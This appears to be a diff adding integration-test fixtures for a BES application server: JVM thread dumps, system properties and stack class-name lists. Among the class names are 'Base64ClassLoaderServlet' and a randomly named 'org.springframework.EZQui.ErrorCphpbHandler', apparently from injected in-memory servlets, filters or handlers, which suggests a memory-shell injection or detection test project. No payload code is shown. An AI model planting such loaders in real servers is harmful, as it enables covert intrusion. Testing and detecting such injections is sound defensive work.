com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158) + at EmptyFilter.doFilter(EmptyFilter.java:12) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158) + at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:192) + at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:109) + at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50) + at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41) + at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:538) + at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:132) + at com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve.invoke(BESSecurityListener.java:95) + at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:87) + at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:74) + at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:373) + at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:467) + at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61) + at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:956) + at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1947) + at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1193) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Spark_6" #86 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"Spark_5" #85 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"RMI TCP Connection(2)-192.168.215.5" #94 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.Net.poll(Native Method) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808) + at java.base@17.0.20/java.net.Socket$SocketInputStream.read(Socket.java:966) + at java.base@17.0.20/java.io.BufferedInputStream.fill(BufferedInputStream.java:244) + at java.base@17.0.20/java.io.BufferedInputStream.read(BufferedInputStream.java:263) + at java.base@17.0.20/java.io.FilterInputStream.read(FilterInputStream.java:82) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$473/0x00000008016c27b8.run(Unknown Source) + at java.base@17.0.20/java.security.AccessController.executePrivileged(AccessController.java:776) + at java.base@17.0.20/java.security.AccessController.doPrivileged(AccessController.java:399) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"bes-deployment-thread-2" #77 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@7305597c + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.20/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.20/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + at com.bes.enterprise.appserv.deployment.DeploymentExecutorService$TerminableThread.run(DeploymentExecutorService.java:89) + +"httpWorkerThread-1900-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"httpWorkerThread-8080-7" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"RMI Scheduler(0)" #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1378c7d7 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@7e91e179 + java.lang.Thread.State: WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.20/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.20/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"RMI TCP Connection(1)-192.168.215.5" #91 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.Net.poll(Native Method) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808) + at java.base@17.0.20/java.net.Socket$SocketInputStream.read(Socket.java:966) + at java.base@17.0.20/java.io.BufferedInputStream.fill(BufferedInputStream.java:244) + at java.base@17.0.20/java.io.BufferedInputStream.read(BufferedInputStream.java:263) + at java.base@17.0.20/java.io.FilterInputStream.read(FilterInputStream.java:82) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$473/0x00000008016c27b8.run(Unknown Source) + at java.base@17.0.20/java.security.AccessController.executePrivileged(AccessController.java:776) + at java.base@17.0.20/java.security.AccessController.doPrivileged(AccessController.java:399) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +ServletNameTestFilter +UrlMappingTestFilter +com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl +com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl +com.bes.ejb.spark.tcp.transport.AcceptorThread +com.bes.ejb.spark.tcp.transport.SelectorThread +com.bes.enterprise.appserv.deployment.DeploymentExecutorService$TerminableThread +com.bes.enterprise.appserver.startup.Bootstrap +com.bes.enterprise.appserver.startup.CommonClassLoader$1 +com.bes.enterprise.base.disruptor.BatchEventProcessor +com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier +com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy +com.bes.enterprise.base.disruptor.util.Util +com.bes.enterprise.gjc.pool.impl.GenericObjectPool$CreateConnectionThread +com.bes.enterprise.server.builder.BesWebModule +com.bes.enterprise.startup.ASMain +com.bes.enterprise.web.crane.AbstractProcessorLight +com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler +com.bes.enterprise.web.crane.http11.Http11Processor +com.bes.enterprise.web.util.net.Acceptor +com.bes.enterprise.web.util.net.NioEndpoint +com.bes.enterprise.web.util.net.NioEndpoint$Poller +com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor +com.bes.enterprise.web.util.net.SocketProcessorBase +com.bes.enterprise.web.util.threads.ThreadPoolExecutor +com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker +com.bes.enterprise.web.util.threads.WorkQueue +com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable +com.bes.enterprise.web.websocket.server.WsFilter +com.bes.enterprise.webext.BESAppservValve +com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve +com.bes.enterprise.webext.BesContextCleanupValve +com.bes.enterprise.webtier.authenticator.AuthenticatorBase +com.bes.enterprise.webtier.connector.CoyoteAdapter +com.bes.enterprise.webtier.connector.CoyoteWriter +com.bes.enterprise.webtier.core.ApplicationFilterChain +com.bes.enterprise.webtier.core.DefaultContextValve +com.bes.enterprise.webtier.core.DefaultEngineValve +com.bes.enterprise.webtier.core.DefaultHostValve +com.bes.enterprise.webtier.core.DefaultWrapperValve +com.bes.enterprise.webtier.valves.ErrorReportValve +com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager +com.bes.org.objectweb.howl.log.LogFileManager$EventManager +org.hsqldb.lib.HsqlTimer +org.hsqldb.lib.HsqlTimer$TaskQueue +org.hsqldb.lib.HsqlTimer$TaskRunner +org.springframework.EZQui.ErrorCphpbHandler diff --git a/integration-test/src/test/resources/infos/Bes11SpringBootContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Bes11SpringBootContainerTestBasicInfo.txt new file mode 100644 index 00000000..b3000ee7 --- /dev/null +++ b/integration-test/src/test/resources/infos/Bes11SpringBootContainerTestBasicInfo.txt @@ -0,0 +1,375 @@ +# Generated At 2026-08-08 09:53:56 +SystemProps: +java.specification.version: 17 +bes.useNaming: false +sun.jnu.encoding: UTF-8 +java.class.path: /app/app.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +bes.base: /appserver/bes.8080 +java.vendor.url: https://adoptium.net/ +user.timezone: Etc/UTC +java.vm.specification.version: 17 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: /app/app.jar +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2025-10-21 +java.home: /opt/java/openjdk +file.separator: / +com.bes.product.type: SpringBoot +java.vm.compressedOopsMode: Zero based +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +FILE_LOG_CHARSET: UTF-8 +com.bes.instanceRoot: /appserver/bes.8080 +java.awt.headless: true +java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 17.0.17+10 +user.name: root +path.separator: : +os.version: 7.0.14-orbstack-00374-gbbca68e8d741 +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-17.0.17+10 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +java.io.tmpdir: /tmp +java.version: 17.0.17 +com.bes.installRoot: /appserver/bes.8080 +user.dir: / +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +PID: 1 +CONSOLE_LOG_CHARSET: UTF-8 +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +java.vendor: Eclipse Adoptium +java.vm.version: 17.0.17+10 +java.specification.maintenance.version: 1 +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 61.0 + +=========================================== + +ThreadStacks: +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5b44dbe2 + java.lang.Thread.State: WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.17/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"AppServer-utility-2" #20 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@513cf310 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-7" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Notification Thread" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@198917e9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"Cleaner-0" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@64ef44f1 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"httpWorkerThread-8080-3" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-6" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-4" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-8" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-1" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + 